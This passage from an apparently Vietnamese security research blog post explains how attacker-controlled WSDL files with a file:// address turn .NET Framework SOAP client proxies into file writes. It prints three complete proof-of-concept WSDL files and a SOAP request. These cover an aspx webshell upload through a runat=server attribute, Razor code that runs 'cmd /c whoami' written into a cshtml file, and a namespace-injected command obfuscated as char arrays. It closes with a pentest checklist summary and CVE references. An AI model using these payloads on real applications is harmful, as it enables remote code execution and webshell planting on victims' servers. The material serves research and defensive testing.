Như vậy là không thể tạo ra một XML tag mới và chèn attribute mình muốn vào chỉ qua primitive type argument.

Thế nhưng trong quá trình encode được thực hiện có một điểm đáng chú ý như sau:

Đọc đoạn code trên ta có thể thấy, trường hợp của các ký tự <, >, & sẽ luôn luôn bị encode. Nhưng cũng có những trường hợp ngoại lệ, chẳng hạn như ký tự " ta có thể thấy nó đang chia làm 2 case:
- Nếu dấu " xuất hiện inAttribute thì sẽ bị encode
- Còn không thì gọi textWriter.write() thẳng

Với ý tưởng đó, ta tận dụng ngay <complexType> đã được đề cập trong WSDL ở các phần trước đó. Thay vì chỉ kiểm soát các giá trị như methodName, argumentName thì complexType được quyền định nghĩa ra cả giá trị của các attribute cho XML tag, và tất nhiên là có cả runat="server"

PoC WSDL Webshell aspx upload

<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
            xmlns:tns="http://google.com"
            xmlns:s="http://www.w3.org/2001/XMLSchema"
            targetNamespace="http://google.com"
            xmlns="http://schemas.xmlsoap.org/wsdl/">
   <types>
       <s:schema elementFormDefault="qualified"
                 targetNamespace="http://google.com">
           <s:element name="invoiceQuery">
               <s:complexType>
                   <s:sequence>
                       <s:element name="script" type="tns:scriptattr" />
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:element name="invoiceQueryResponse">
               <s:complexType>
                   <s:sequence>
                       <s:element name="invoiceQueryResult" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:complexType name="scriptattr">
               <s:simpleContent>
                   <s:extension base="s:string">
                       <s:attribute name="runat" type="s:string" fixed="server" />
                   </s:extension>
               </s:simpleContent>
           </s:complexType>
       </s:schema>
   </types>
   <message name="invoiceQuerySoap12In">
       <part name="parameters" element="tns:invoiceQuery" />
   </message>
   <message name="invoiceQuerySoap12Out">
       <part name="parameters" element="tns:invoiceQueryResponse" />
   </message>
   <portType name="heheBlogDemo">
       <operation name="invoiceQuery">
           <input message="tns:invoiceQuerySoap12In" />
           <output message="tns:invoiceQuerySoap12Out" />
       </operation>
   </portType>
   <binding name="heheBlogDemo" type="tns:heheBlogDemo">
       <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <operation name="invoiceQuery">
           <soap12:operation soapAction="http://google.com/invoiceQuery" style="document" />
           <input><soap12:body use="literal" /></input>
           <output><soap12:body use="literal" /></output>
       </operation>
   </binding>
   <service name="Demo">
       <port name="heheBlogDemo" binding="tns:heheBlogDemo">
           <soap12:address location="file:///webroot/aaa.aspx" />
       </port>
   </service>
</definitions>

3.2.2) Primitive-based (String, Int, ...)

Như mình đã đề cập tại phần 3.2.1, nếu chỉ nắm quyền kiểm soát dữ liệu nhập vào dưới dạng Primitive-based như string, int mà không phải complex type thì việc upload được một webshell aspx qua xml tag là chưa khả thi.

Vì vậy hướng đi của chúng ta trong trường hợp này là tìm cách sử dụng những ký tự đặc biệt không bị encode, trong đó ta có thể thống kê được những ký tự đang bị encode được định nghĩa tại XmlTextEncoder bao gồm:

\r " & \ < >

Đoạn này sẽ phụ thuộc rất nhiều vào hệ thống để sinh ra các cách tạo payload khác nhau. Một trong số đó là việc kết hợp Razor syntax @{} vào file CSHTML để thực thi shell command

@{System.Diagnostics.Process.Start("cmd", "/c whoami");}
<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
            xmlns:tns="http://google.com"
            xmlns:s="http://www.w3.org/2001/XMLSchema"
            targetNamespace="http://google.com"
            xmlns="http://schemas.xmlsoap.org/wsdl/">
   <types>
       <s:schema elementFormDefault="qualified"
                 targetNamespace="http://google.com">
           <s:element name="invoiceQuery">
               <s:complexType>
                   <s:sequence>
                       <s:element name="test" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:element name="invoiceQueryResponse">
               <s:complexType>
                   <s:sequence>
                       <s:element name="invoiceQueryResult" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
       </s:schema>
   </types>
   <message name="invoiceQuerySoap12In">
       <part name="parameters" element="tns:invoiceQuery" />
   </message>
   <message name="invoiceQuerySoap12Out">
       <part name="parameters" element="tns:invoiceQueryResponse" />
   </message>
   <portType name="heheBlogDemo">
       <operation name="invoiceQuery">
           <input message="tns:invoiceQuerySoap12In" />
           <output message="tns:invoiceQuerySoap12Out" />
       </operation>
   </portType>
   <binding name="heheBlogDemo" type="tns:heheBlogDemo">
       <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <operation name="invoiceQuery">
           <soap12:operation soapAction="http://google.com/invoiceQuery" style="document" />
           <input>
               <soap12:body use="literal" />
           </input>
           <output>
               <soap12:body use="literal" />
           </output>
       </operation>
   </binding>
   <service name="Demo">
       <port name="heheBlogDemo" binding="tns:heheBlogDemo">
           <soap12:address location="file:///webroot/aaa.cshtml" />
       </port>
   </service>
</definitions>

Sau đó control test tag trong phần body của HTTP request:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="...">
 <soap:Body>
   <invoiceQuery xmlns="http://google.com">
     <test>@{System.Diagnostics.Process.Start("cmd","/c whoami");}</test>
   </invoiceQuery>
 </soap:Body>
</soap:Envelope>

Từ đó, sẽ ghi thành công nội dung @{System.Diagnostics.Process.Start("cmd","/c whoami");} ra webroot tại vị trí file:///webroot/aaa.cshtml

Điều kiện tiên quyết khi này sẽ trở thành tầng techstack bên dưới bắt buộc phải sử dụng ASP.NET MVC với Razor view engine. Trong tuỳ trường hợp hệ thống khác nhau sẽ có những cách khai thác khác nhau hơn nữa :v

3.2.3) No Argument Control

Trong trường hợp điều kiện tối thiểu nhất của toàn bộ các attack vector, mình không được quyền kiểm soát bất cứ argument nào trong HTTP request. Nhưng sẽ luôn có một thứ mà mình có thể kiểm soát được đó là namespace được sử dụng trong WSDL. Chẳng hạn như kết quả generate từ một WSDL ra Client Proxy dưới đây

Về cơ bản .NET Framework yêu cầu namespace phải là một valid URL tức phần đầu không thể chạm vào được, mình có thể tận dụng phần nội dung sau parameter ? để inject vì đây là vị trí chấp nhận các ký tự đặc biệt.

Tại đây chúng ta sẽ inject vào namespace của WSDL file. Tức khai thác vào quá trình tạo ra file WSDL, thì ở đây để triển khai được payload cũng không được phép sử dụng dấu quote " nên ta đơn giản là sử dụng single quote '

<?xml version="1.0" encoding="utf-8"?>
<definitions xmlns:soap12="http://schemas.xmlsoap.org/wsdl/soap12/"
            xmlns:tns="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','w','h','o','a','m','i'}));}"
            xmlns:s="http://www.w3.org/2001/XMLSchema"
            targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','w','h','o','a','m','i'}));}"
            xmlns="http://schemas.xmlsoap.org/wsdl/">
   <types>
       <s:schema elementFormDefault="qualified"
                 targetNamespace="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','w','h','o','a','m','i'}));}">
           <s:element name="invoiceQuery">
               <s:complexType>
                   <s:sequence>
                   </s:sequence>
               </s:complexType>
           </s:element>
           <s:element name="invoiceQueryResponse">
               <s:complexType>
                   <s:sequence>
                       <s:element name="invoiceQueryResult" type="s:string" />
                   </s:sequence>
               </s:complexType>
           </s:element>
       </s:schema>
   </types>
   <message name="invoiceQuerySoap12In">
       <part name="parameters" element="tns:invoiceQuery" />
   </message>
   <message name="invoiceQuerySoap12Out">
       <part name="parameters" element="tns:invoiceQueryResponse" />
   </message>
   <portType name="heheBlogDemo">
       <operation name="invoiceQuery">
           <input message="tns:invoiceQuerySoap12In" />
           <output message="tns:invoiceQuerySoap12Out" />
       </operation>
   </portType>
   <binding name="heheBlogDemo" type="tns:heheBlogDemo">
       <soap12:binding transport="http://schemas.xmlsoap.org/soap/http" />
       <operation name="invoiceQuery">
           <soap12:operation soapAction="http://tempuri.org/?@{System.Diagnostics.Process.Start(new string(new char[]{'c','m','d'}),new string(new char[]{'/','c',' ','w','h','o','a','m','i'}));}/invoiceQuery" style="document" />
           <input><soap12:body use="literal" /></input>
           <output><soap12:body use="literal" /></output>
       </operation>
   </binding>
   <service name="Demo">
       <port name="heheBlogDemo" binding="tns:heheBlogDemo">
           <soap12:address location="file:///webroot/aaa.cshtml" />
       </port>
   </service>
</definitions>

Khi này, mỗi lần muốn sử dụng payload khác thì lại craft một payload mới trong WSDL rồi host WSDL lên, truyền vào hệ thống là được

4) Summarization

Vì đây là một lỗ hổng được Microsoft quyết định là DONOTFIX, từ nay khi pentest application .NET framework hẳn anh em sẽ cần có thêm 1 ô để điền vào checklist của mình

Các chức năng cần đặc biệt chú ý là những nơi cho phép người dùng nhập WSDL URL hoặc cấu hình kết nối tới SOAP/Web Service bên ngoài. Nếu trong flow này attacker kiểm soát được nội dung WSDL, đặc biệt là <soap:address location="...">, và ứng dụng không validate endpoint scheme chỉ cho phép HTTP/HTTPS, thì generated proxy có thể chứa this.Url = “file://...”. Khi đó proxy method được invoke, sink trong HttpWebClientProtocol có thể bị trigger, biến SOAP call thành thao tác trên filesystem

Tóm tắt lại một cách ngắn gọn toàn bộ bài viết, lỗ hổng xảy ra khi và chỉ khi kẻ tấn công có quyền đưa vào một WSDL file do chúng kiểm soát và hệ thống victim sử dụng ServiceDescription class để đọc rồi sử dụng ServiceDescriptionImporter để chuyển dữ liệu đọc được đó sang dạng CodeDOM => Từ đó sử dụng trực tiếp CSharpCodeProvider.CompileAssemblyFromDom() để compile phần codeDom đó thành assembly trong memory

Kể từ đó, mỗi lần gọi method của dịch vụ ta add vào thông qua Assembly generated, rồi gọi tới SoapHttpClientProtocol.Invoke(), dữ liệu người dùng cần được truyền vào method này dưới dạng object, dữ liệu ta đang nói đến ở đây trước khi được truyền vào sẽ được hệ thống victim xử lý như thế nào là thứ quyết định impact của lỗ hổng có thể tiến được tới đâu, cụ thể:
- Nếu sử dụng XmlSerializer để deserialize dữ liệu được truyền vào => Upload được một aspx webshell, không có yêu cầu gì đặc biệt quan trọng
- Nếu dữ liệu được truyền vào ở dạng Primitive type (ví dụ như string) => Phải dựa nhiều vào techstack của hệ thống, nếu sử dụng razor => RCE qua cshtml + razor syntax
- Nếu không kiểm soát được bất cứ đối số nào truyền vào => RCE trực tiếp qua namespace definition tại lúc truyền vào WSDL file, cũng phụ thuộc nhiều vào techstack của hệ thống

5) References

- https://labs.watchtowr.com/soapwn-pwning-net-framework-applications-through-http-client-proxies-and-wsdl/
- https://watchtowr.com/wp-content/uploads/SOAPwnwatchtowr_soappwn-research-whitepaper_10-12-2025.pdf?ref=labs.watchtowr.com
- https://nvd.nist.gov/vuln/detail/CVE-2025-34392
- https://nvd.nist.gov/vuln/detail/CVE-2025-68924

31 lượt xem